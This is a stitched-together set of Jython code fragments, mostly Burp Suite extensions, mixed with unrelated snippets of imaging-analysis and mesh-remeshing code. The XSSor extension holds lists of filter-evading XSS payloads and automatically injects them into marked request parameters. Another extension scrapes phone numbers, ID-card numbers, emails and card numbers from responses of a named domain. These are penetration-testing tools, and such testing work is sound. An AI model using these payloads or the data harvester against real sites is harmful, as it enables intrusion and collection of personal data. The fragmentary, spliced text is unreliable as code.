getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return self._callbacks.getToolName(logEntry._tool) if columnIndex == 1: return logEntry._method if columnIndex == 2: return logEntry._host if columnIndex == 3: return logEntry._path return "" def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse()
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel, IContextMenuFactory): def registerExtenderCallbacks(self, callbacks): # smart xss feature (print conclusion and observation) # mark resulsts # add automatic check pages in the same domain self.tagPayloads = [ "<b>test", "<b onmouseover=test()>test", "<img src=err onerror=test()>", "<script>test</script>" "", "<scr ipt>test</scr ipt>", "<SCRIPT>test;</SCRIPT>", "<scri<script>pt>test;</scr</script>ipt>", "<SCRI<script>PT>test;</SCR</script>IPT>", "<scri<scr<script>ipt>pt>test;</scr</sc</script>ript>ipt>", "<IMG \"\"\"><SCRIPT>test</SCRIPT>\">", "<IMG '''><SCRIPT>test</SCRIPT>'>", "<SCR%00IPT>test</SCR%00IPT>", "<IFRAME SRC='f' onerror=\"test\"></IFRAME>", "<IFRAME SRC='f' onerror='test'></IFRAME>", "<<SCRIPT>test//<</SCRIPT>", "<img src=\"1\" onerror=\"test\">", "<img src='1' onerror='test'", "<STYLE TYPE=\"text/javascript\">test;</STYLE>", "<<SCRIPT>test//<</SCRIPT>" ] self.attributePayloads = [ "\"\"\"><SCRIPT>test", "'''><SCRIPT>test'", "\"><script>test</script>", "\"><script>test</script><\"", "'><script>test</script>", "'><script>test</script><'", "\";test;\"", "';test;'", ";test;", "\";test;//", "\"onmouseover=test ", "onerror=\"test\"", "onerror='test'", "onload=\"test\"", "onload='test'" ] self.xssKey = 'xssme' # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("XSSor") self.affectedResponses = ArrayList() self._log = ArrayList() self._lock = Lock() # main split pane self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT) # table of log entries logTable = Table(self) scrollPane = JScrollPane(logTable) self._splitpane.setLeftComponent(scrollPane) # tabs with request/response viewers tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Request", self._requestViewer.getComponent()) tabs.addTab("Response", self._responseViewer.getComponent()) clearAPListBtn = JButton("Clear List", actionPerformed=self.clearAPList) clearAPListBtn.setBounds(10, 85, 120, 30) apListLabel = JLabel('Affected Pages List:') apListLabel.setBounds(10, 10, 140, 30) self.affectedModel = DefaultListModel() self.affectedList = JList(self.affectedModel) self.affectedList.addListSelectionListener(listSelectedChange(self)) scrollAList = JScrollPane(self.affectedList) scrollAList.setVerticalScrollBarPolicy( JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED) scrollAList.setBounds(150, 10, 550, 200) scrollAList.setBorder(LineBorder(Color.BLACK)) APtabs = JTabbedPane() self._requestAPViewer = callbacks.createMessageEditor(self, False) self._responseAPViewer = callbacks.createMessageEditor(self, False) APtabs.addTab("Request", self._requestAPViewer.getComponent()) APtabs.addTab("Affeced Page Response", self._responseAPViewer.getComponent()) APtabs.setBounds(0, 250, 700, 350) APtabs.setSelectedIndex(1) self.APpnl = JPanel() self.APpnl.setBounds(0, 0, 1000, 1000) self.APpnl.setLayout(None) self.APpnl.add(scrollAList) self.APpnl.add(clearAPListBtn) self.APpnl.add(APtabs) self.APpnl.add(apListLabel) tabs.addTab("Affected Pages", self.APpnl) self.intercept = 0 ## init conf panel startLabel = JLabel("Plugin status:") startLabel.setBounds(10, 10, 140, 30) payloadLabel = JLabel("Basic Payload:") payloadLabel.setBounds(10, 50, 140, 30) self.basicPayload = "<script>alert(1)</script>" self.basicPayloadTxt = JTextArea(self.basicPayload, 5, 30) self.basicPayloadTxt.setBounds(120, 50, 305, 30) self.bruteForceMode = JCheckBox("Brute Force Mode") self.bruteForceMode.setBounds(120, 80, 300, 30) self.bruteForceMode.addItemListener(handleBFModeChange(self)) self.tagPayloadsCheck = JCheckBox("Tag paylods") self.tagPayloadsCheck.setBounds(120, 100, 300, 30) self.tagPayloadsCheck.setSelected(True) self.tagPayloadsCheck.setEnabled(False) self.tagPayloadsCheck.addItemListener(handleBFModeList(self)) self.attributePayloadsCheck = JCheckBox("Attribute payloads") self.attributePayloadsCheck.setBounds(260, 100, 300, 30) self.attributePayloadsCheck.setSelected(True) self.attributePayloadsCheck.setEnabled(False) self.attributePayloadsCheck.addItemListener(handleBFModeList(self)) payloadListLabel = JLabel("Payloads list (for BF mode):") payloadListLabel.setBounds(10, 130, 140, 30) self.payloadsModel = DefaultListModel() self.payloadsList = JList(self.payloadsModel) scrollPayloadsList = JScrollPane(self.payloadsList) scrollPayloadsList.setVerticalScrollBarPolicy( JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED) scrollPayloadsList.setBounds(120, 170, 300, 200) scrollPayloadsList.setBorder(LineBorder( Color.BLACK)) # add buttons to remove payloads and add for payload in self.tagPayloads: self.payloadsModel.addElement(payload) for payload in self.attributePayloads: self.payloadsModel.addElement(payload) self.startButton = JButton("XSSor is off", actionPerformed=self.startOrStop) self.startButton.setBounds(120, 10, 120, 30) self.startButton.setBackground(Color(255, 100, 91, 255)) consoleTab = JTabbedPane() self.consoleLog = JTextArea("", 5, 30) scrollLog = JScrollPane(self.consoleLog) scrollLog.setVerticalScrollBarPolicy( JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED) scrollLog.setBounds(120, 170, 550, 200) scrollLog.setBorder(LineBorder(Color.BLACK)) scrollLog.getVerticalScrollBar().addAdjustmentListener( autoScrollListener(self)) consoleTab.addTab("Console", scrollLog) consoleTab.setBounds(0, 400, 500, 200) self.pnl = JPanel() self.pnl.setBounds(0, 0, 1000, 1000) self.pnl.setLayout(None) self.pnl.add(self.startButton) self.pnl.add(startLabel) self.pnl.add(payloadLabel) self.pnl.add(self.basicPayloadTxt) self.pnl.add(self.bruteForceMode) self.pnl.add(payloadListLabel) self.pnl.add(scrollPayloadsList) self.pnl.add(self.attributePayloadsCheck) self.pnl.add(self.tagPayloadsCheck) self.pnl.add(consoleTab) tabs.addTab("Configuration", self.pnl) tabs.setSelectedIndex(3) self._splitpane.setRightComponent(tabs) # customize our UI components callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(tabs) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) self._callbacks.registerContextMenuFactory(self) print "Thank you for installing XSSor v0.1 extension" print "Created by Barak Tawily" print "\nGithub:\nhttps://github.com/Quitten/XSSor" return # # implement ITab # def getTabCaption(self): return "XSSor" def getUiComponent(self): return self._splitpane # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): if self.intercept == 1: if toolFlag == 4: # only process requests if not messageIsRequest: self.checkForKey(messageInfo) return def printLog(self, message): self.consoleLog.setText(self.consoleLog.getText() + '\r\n' + message) def checkXSS(self, messageInfo, urlStr, requestBody, currentPayload): self.printLog('trying exploit with the payload: ' + currentPayload) requestURL = URL(urlStr.replace(self.xssKey, currentPayload)) requestBody = requestBody.replace(self.xssKey, urllib.pathname2url(currentPayload)) httpService = self._helpers.buildHttpService( str(requestURL.getHost()), int(requestURL.getPort()), requestURL.getProtocol() == "https") response = self._callbacks.makeHttpRequest(httpService, requestBody) responseInfo = self._helpers.analyzeResponse(response.getResponse()) analyzedResponse = self._helpers.bytesToString(response.getResponse( )) # change body offeset + make ui for affeccted pages responseBody = analyzedResponse.encode('utf-8') vulnOrNot = 'no' if currentPayload in responseBody: self.printLog('payload: ' + currentPayload + ' found to be vulnarble') vulnOrNot = 'yes' # mark the payload if not len(self.affectedResponses) == 0: for request in self.affectedResponses: # bug in case of no response in messageinfo self.printLog('checking affeccted page' + str(request.getUrl())) requestURL = request.getUrl() httpService = self._helpers.buildHttpService( str(requestURL.getHost()), int(requestURL.getPort()), requestURL.getProtocol() == "https") affectedPageResponse = self._callbacks.makeHttpRequest( httpService, request.getRequest()) analyzedResponse = self._helpers.bytesToString( affectedPageResponse.getResponse()) responseBody = analyzedResponse.encode('utf-8') if currentPayload in responseBody: vulnOrNot = 'yes, affected page' self.printLog('affeccted page has been found as vulnerable') self._lock.acquire() row = self._log.size() self._log.add( LogEntry( self._helpers.analyzeRequest(response).getUrl(), self._callbacks.saveBuffersToTempFiles(response), currentPayload, vulnOrNot)) self.fireTableRowsInserted(row, row) self._lock.release() def checkForKey(self, messageInfo): currentPayload = self.tagPayloads[0] requestInfo = self._helpers.analyzeRequest(messageInfo) requestHeaders = list(requestInfo.getHeaders()) requestURL = requestInfo.getUrl() urlStr = str(requestURL) self.printLog('checking for xss key in URL: ' + urlStr) requestBody = self._helpers.bytesToString(messageInfo.getRequest()) requestBody = re.sub( 'Referer:.*\n', '', requestBody, flags=re.MULTILINE, count=1) # workaround avoid xsskey in the referer newHeaders if self.xssKey in urlStr or self.xssKey in requestBody: self.printLog('xss key has been found') if self.bruteForceMode.isSelected(): for i in range(0, self.payloadsModel.getSize()): payload = self.payloadsModel.getElementAt(i) self.checkXSS(messageInfo, urlStr, requestBody, payload) else: self.checkXSS(messageInfo, urlStr, requestBody, self.basicPayloadTxt.getText()) # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 3 def getColumnName(self, columnIndex): if columnIndex == 0: return "URL" if columnIndex == 1: return "Payload" if columnIndex == 2: return "Vulnerable?" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: # return self._callbacks.getToolName(logEntry._tool) return logEntry._url.toString() if columnIndex == 1: return logEntry._payload if columnIndex == 2: return logEntry._vulnOrNot return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse() def startOrStop(self, event): if self.startButton.getText() == "XSSor is off": self.startButton.setText("XSSor is on") self.startButton.setBackground(Color.GREEN) self.printLog('on, waiting for key word to be found (' + self.xssKey + ')') self.intercept = 1 else: self.startButton.setText("XSSor is off") self.startButton.setBackground(Color(255, 100, 91, 255)) self.intercept = 0 def clearAPList(self, event): self.affectedModel.clear() self.affectedResponses = ArrayList() # # implement IContextMenuFactory # def createMenuItems(self, invocation): responses = invocation.getSelectedMessages() if responses > 0: ret = LinkedList() affectedMenuItem = JMenuItem("XSSor: Add affected page") affectedMenuItem.addActionListener( handleMenuItems(self, responses[0], "affected")) ret.add(affectedMenuItem) return (ret) return null def addAfectedPage(self, messageInfo): self.affectedModel.addElement( str(self._helpers.analyzeRequest(messageInfo).getUrl())) self.affectedResponses.add(messageInfo)
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel, IContextMenuFactory): # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # PDB debugging: connect sys.stdout and sys.stderr to Burp # sys.stdout = callbacks.getStdout() # sys.stderr = callbacks.getStderr() # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set extension name callbacks.setExtensionName("To Do") # create the log and a lock on which to synchronize when adding # log entries self._log = ArrayList() self._lock = Lock() # main split pane self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT) # Configuration Tab self.initConfigTab() # table of to do entries logTable = Table(self) scrollPane = JScrollPane(logTable) self._splitpane.setLeftComponent(scrollPane) # Config tab self.tabs = JTabbedPane() self._configuration = self._callbacks.createMessageEditor(self, False) self.tabs.addTab("Configuration", self._configuration.getComponent()) self._splitpane.setRightComponent(self.panel) # customize our UI components callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) # initialize tabs self.initTabs() # Print thank you, contact info, etc print("Thank you for installing Burp To Do List") print("created by Chris Lockard") print("https://github.com/chrislockard/BurpToDoList") return # # implement ITab # def getTabCaption(self): return "To Do" def getUiComponent(self): return self._splitpane def initConfigTab(self): # Init configuration tab self.test = JLabel("Configuration") self.test.setBounds(10, 10, 140, 30) self.panel = JPanel() self.panel.setBounds(0, 0, 1000, 1000) self.panel.setLayout(None) self.panel.add(self.test) def initTabs(self): # Init ToDo List Tabs self.logTable = Table(self) tableWidth = self.logTable.getPreferredSize().width self.logTable.getColumn("Complete?").setPreferredWidth( Math.round(tableWidth / 10 * 1)) self.logTable.getColumn("Section").setPreferredWidth( Math.round(tableWidth / 10 * 3)) self.logTable.getColumn("Task").setPreferredWidth( Math.round(tableWidth / 10 * 3)) self.logTable.getColumn("Notes").setPreferredWidth( Math.round(tableWidth / 10 * 3)) self.tableSorter = TableRowSorter(self) self.logTable.setRowSorter(self.tableSorter) self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT) self._splitpane.setResizeWeight(1) self.scrollPane = JScrollPane(self.logTable) self._splitpane.setLeftComponent(self.scrollPane) self.scrollPane.getVerticalScrollBar().addAdjustmentListener( autoScrollListener(self)) def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 4 def getColumnName(self, columnIndex): if columnIndex == 0: return "Complete?" if columnIndex == 1: return "Section" if columnIndex == 2: return "Task" if columnIndex == 3: return "Notes" return "" def getColumnClass(self, columnIndex): if columnIndex == 0: return checkbox if columnIndex == 1: return String if columnIndex == 2: return String if columnIndex == 3: return String return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return self._callbacks.getToolName(logEntry._tool) if columnIndex == 1: return logEntry._url.toString() if columnIndex == 2: pass if columnIndex == 3: pass return ""
# 0 corresponds to the first mass image (e.g. mass 12.0) # 1 corresponds to the second mass image (e.g. mass 13.0) ratioProps1 = RatioProps(1, 0) mp1 = MimsPlus(ui, ratioProps1) imageArray.add(mp1) IJ.log("Opening ratio: " + mp1.getTitle()) # Ratio images # 2 corresponds to the first mass image (e.g. mass 26.0) # 3 corresponds to the second mass image (e.g. mass 27.0) ratioProps2 = RatioProps(3, 2) mp2 = MimsPlus(ui, ratioProps2) imageArray.add(mp2) IJ.log("Opening ratio: " + mp2.getTitle()) images = jarray.zeros(imageArray.size(), MimsPlus) images = imageArray.toArray(images) #//////////////////////////// # Create and display table. #//////////////////////////// table = MimsJTable(ui) table.setStats(stats) table.setRois(rois) table.setImages(images) table.setPlanes(planes) #append=false nPlanes = ui.getOpener().getNImages() if nPlanes > 1: table.createTable(False) else:
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel): # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("sensitive") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() self._urls = [] # main split pane self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) # table of log entries logTable = Table(self) scrollPane = JScrollPane(logTable) self._splitpane.setLeftComponent(scrollPane) # tabs with request/response viewers tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Request", self._requestViewer.getComponent()) tabs.addTab("Response", self._responseViewer.getComponent()) self._splitpane.setRightComponent(tabs) # customize our UI components callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(tabs) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) return # # implement ITab # def getTabCaption(self): return "sensitive" def getUiComponent(self): return self._splitpane # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): # only process requests if messageIsRequest: return # 敏感信息 # 只查找百度域名 if 'baidu.com' in str(messageInfo.getUrl()): # 接口去重 if self._helpers.analyzeRequest( messageInfo).getUrl() not in self._urls: bodyStr = messageInfo.getResponse().tostring() retel = re.compile( r'(\W(13[0-9]|14[57]|15[012356789]|17[0-9]|18[012356789])\d{8}\W)' ) reip = re.compile( r'(((25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d)))\.){3}(25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))))' ) recardid = re.compile(r'(\W(\d{15}|\d{18})[X]?\W)') reemail = re.compile( r'(\W[A-Za-z0-9\u4e00-\u9fa5]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+\W)' ) recardbin = re.compile(r'((\W[1-9]{1})(\d{15}|\d{18})\W)') tel = retel.findall(bodyStr) ip = reip.findall(bodyStr) cardid = recardid.findall(bodyStr) email = reemail.findall(bodyStr) cardbin = recardbin.findall(bodyStr) # create a new log entry with the message details if len(tel) | len(cardid) | len(ip) | len(email) | len( cardbin): self._urls.append( self._helpers.analyzeRequest(messageInfo).getUrl()) sensitive = '' if tel: tels = '{tel:' for i in range(len(tel)): tels = tels + tel[i][0] tels = tels + '} ' sensitive = sensitive + tels if ip: ips = '{ip:' for i in range(len(ip)): ips = ips + ip[i][0] + '/' ips = ips + '} ' sensitive = sensitive + ips if cardid: cardids = '{cardid:' for i in range(len(cardid)): cardids = cardids + cardid[i][0] cardids = cardids + '} ' sensitive = sensitive + cardids if email: emails = '{email:' for i in range(len(email)): emails = emails + email[i][0] emails = emails + '} ' sensitive = sensitive + emails if cardbin: cardbins = '{cardbin:' for i in range(len(cardbin)): cardbins = cardbins + cardbin[i][0] cardbins = cardbins + '} ' sensitive = sensitive + cardbins time = datetime.datetime.now().strftime('%Y%m%d %H:%M:%S') self._lock.acquire() row = self._log.size() self._log.add( LogEntry( toolFlag, self._callbacks.saveBuffersToTempFiles( messageInfo), self._helpers.analyzeRequest(messageInfo).getUrl(), sensitive, time)) self.fireTableRowsInserted(row, row) self._lock.release() # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 4 def getColumnName(self, columnIndex): if columnIndex == 0: return "time" if columnIndex == 1: return "tools" if columnIndex == 2: return "url" if columnIndex == 3: return "sensitive" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return logEntry._time if columnIndex == 1: return self._callbacks.getToolName(logEntry._tool) if columnIndex == 2: return logEntry._url.toString() if columnIndex == 3: return logEntry._sensitive return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse()
for i in xrange(listBeamId.size()): b = listBeamId.get(i) if lastVertex != vertices.get(2*b): # New polyline polyline = ArrayList() listOfPolylines.add(polyline) polyline.add(vertices.get(2*b)) lastVertex = vertices.get(2*b+1) polyline.add(lastVertex) #print "Group "+str(bId)+" contains "+str(listOfPolylines.size())+" polylines and "+str(listBeamId.size()+1)+" vertices" mapGroupToListOfPolylines.put(bId, listOfPolylines) for bId in bgroupMap.keySet(): listBeamId = bgroupMap.get(bId) listOfPolylines = mapGroupToListOfPolylines.get(bId) nrPoly = listOfPolylines.size() for numPoly in xrange(nrPoly): polyline = listOfPolylines.get(numPoly) if options.point_metric_file: met = DistanceMetric(options.size, options.point_metric_file) elif setAnalytic: met = RemeshMetric() else: met = ArrayList() for v in polyline: met.add(EuclidianMetric3D(options.size)) #print "Remesh polyline "+str(numPoly+1)+"/"+str(nrPoly)+" of group "+str(bId)+"/"+str(bgroupMap.size())+" "+str(polyline.size())+" vertices" result = RemeshPolyline(newMesh, polyline, met).compute() for i in xrange(result.size() - 1): newMesh.addBeam(result.get(i), result.get(i+1), bId) #print " New polyline: "+str(result.size())+" vertices"
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel): # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Otter") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() # main split pane for log entries and request/response viewing self._settingPanel = JPanel() self._logPane = JSplitPane(JSplitPane.VERTICAL_SPLIT) # setup settings pane ui self._settingPanel.setBounds(0,0,1000,1000) self._settingPanel.setLayout(None) self._isRegexp = JCheckBox("Use regexp for matching.") self._isRegexp.setBounds(10, 10, 220, 20) matchLabel = JLabel("String to Match:") matchLabel.setBounds(10, 40, 200, 20) self._matchString = JTextArea("User 1 Session Information") self._matchString.setWrapStyleWord(True) self._matchString.setLineWrap(True) matchString = JScrollPane(self._matchString) matchString.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED) matchString.setBounds(10, 60, 400, 200) replaceLabel = JLabel("String to Replace:") replaceLabel.setBounds(10, 270, 200, 20) self._replaceString = JTextArea("User 2 Session Information") self._replaceString.setWrapStyleWord(True) self._replaceString.setLineWrap(True) replaceString = JScrollPane(self._replaceString) replaceString.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED) replaceString.setBounds(10, 290, 400, 200) self._settingPanel.add(self._isRegexp) self._settingPanel.add(matchLabel) self._settingPanel.add(matchString) self._settingPanel.add(replaceLabel) self._settingPanel.add(replaceString) # table of log entries logTable = Table(self) logTable.getColumnModel().getColumn(0).setPreferredWidth(700) logTable.getColumnModel().getColumn(1).setPreferredWidth(150) logTable.getColumnModel().getColumn(2).setPreferredWidth(100) logTable.getColumnModel().getColumn(3).setPreferredWidth(130) logTable.getColumnModel().getColumn(4).setPreferredWidth(100) logTable.getColumnModel().getColumn(5).setPreferredWidth(130) scrollPane = JScrollPane(logTable) self._logPane.setLeftComponent(scrollPane) # tabs with request/response viewers logTabs = JTabbedPane() self._origRequestViewer = callbacks.createMessageEditor(self, False) self._origResponseViewer = callbacks.createMessageEditor(self, False) self._modRequestViewer = callbacks.createMessageEditor(self, False) self._modResponseViewer = callbacks.createMessageEditor(self, False) logTabs.addTab("Original Request", self._origRequestViewer.getComponent()) logTabs.addTab("Original Response", self._origResponseViewer.getComponent()) logTabs.addTab("Modified Request", self._modRequestViewer.getComponent()) logTabs.addTab("Modified Response", self._modResponseViewer.getComponent()) self._logPane.setRightComponent(logTabs) # top most tab interface that seperates log entries from settings maintabs = JTabbedPane() maintabs.addTab("Log Entries", self._logPane) maintabs.addTab("Settings", self._settingPanel) self._maintabs = maintabs # customize the UI components callbacks.customizeUiComponent(maintabs) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) return # # implement ITab # def getTabCaption(self): return "Otter" def getUiComponent(self): return self._maintabs # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): # Only process responses that came from the proxy. This will # ignore request/responses made by Otter itself. if not messageIsRequest and toolFlag == self._callbacks.TOOL_PROXY: # create a new log entry with the message details row = self._log.size() # analyze and store information about the original request/response responseBytes = messageInfo.getResponse() requestBytes = messageInfo.getRequest() request = self._helpers.analyzeRequest(messageInfo) response = self._helpers.analyzeResponse(responseBytes) # ignore out-of-scope requests. if not self._callbacks.isInScope(request.getUrl()): return wasModified = False ms = self._matchString.getText() rs = self._replaceString.getText() mss = ms.split(",") rss = rs.split(",") if len(rss) != len(mss): mss = [""] for i,x in enumerate(mss): if x == "": continue if self._isRegexp.isSelected(): if search(x, requestBytes): requestBytes = sub(x, rss[i], requestBytes) wasModified = True else: if fromBytes(requestBytes).find(x) >= 0: requestBytes = toBytes(replace(fromBytes(requestBytes), x, rss[i])) wasModified = True # make a modified request to test for authorization issues entry = None if wasModified: modReqResp = self._callbacks.makeHttpRequest(messageInfo.getHttpService(), requestBytes) modRequestBytes = modReqResp.getRequest() modResponseBytes = modReqResp.getResponse() modResponse = self._helpers.analyzeResponse(modResponseBytes) orig = self._callbacks.saveBuffersToTempFiles(messageInfo) mod = self._callbacks.saveBuffersToTempFiles(modReqResp) entry = LogEntry(orig, mod, request.getUrl(), response.getStatusCode(), len(responseBytes), modResponse.getStatusCode(), len(modResponseBytes), wasModified) else: orig = self._callbacks.saveBuffersToTempFiles(messageInfo) entry = LogEntry(orig, None, request.getUrl(), response.getStatusCode(), len(responseBytes), "None", 0, wasModified) self._lock.acquire() self._log.add(entry) self.fireTableRowsInserted(row, row) self._lock.release() return # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 6 def getColumnName(self, columnIndex): if columnIndex == 0: return "URL" if columnIndex == 1: return "Request Modified?" if columnIndex == 2: return "Orig. Status" if columnIndex == 3: return "Orig. Length" if columnIndex == 4: return "Mod. Status" if columnIndex == 5: return "Mod. Length" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return logEntry._url.toString() if columnIndex == 1: return str(logEntry._wasModified) if columnIndex == 2: return str(logEntry._origStatus) if columnIndex == 3: return str(logEntry._origLength) if columnIndex == 4: return str(logEntry._modStatus) if columnIndex == 5: return str(logEntry._modLength) return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse()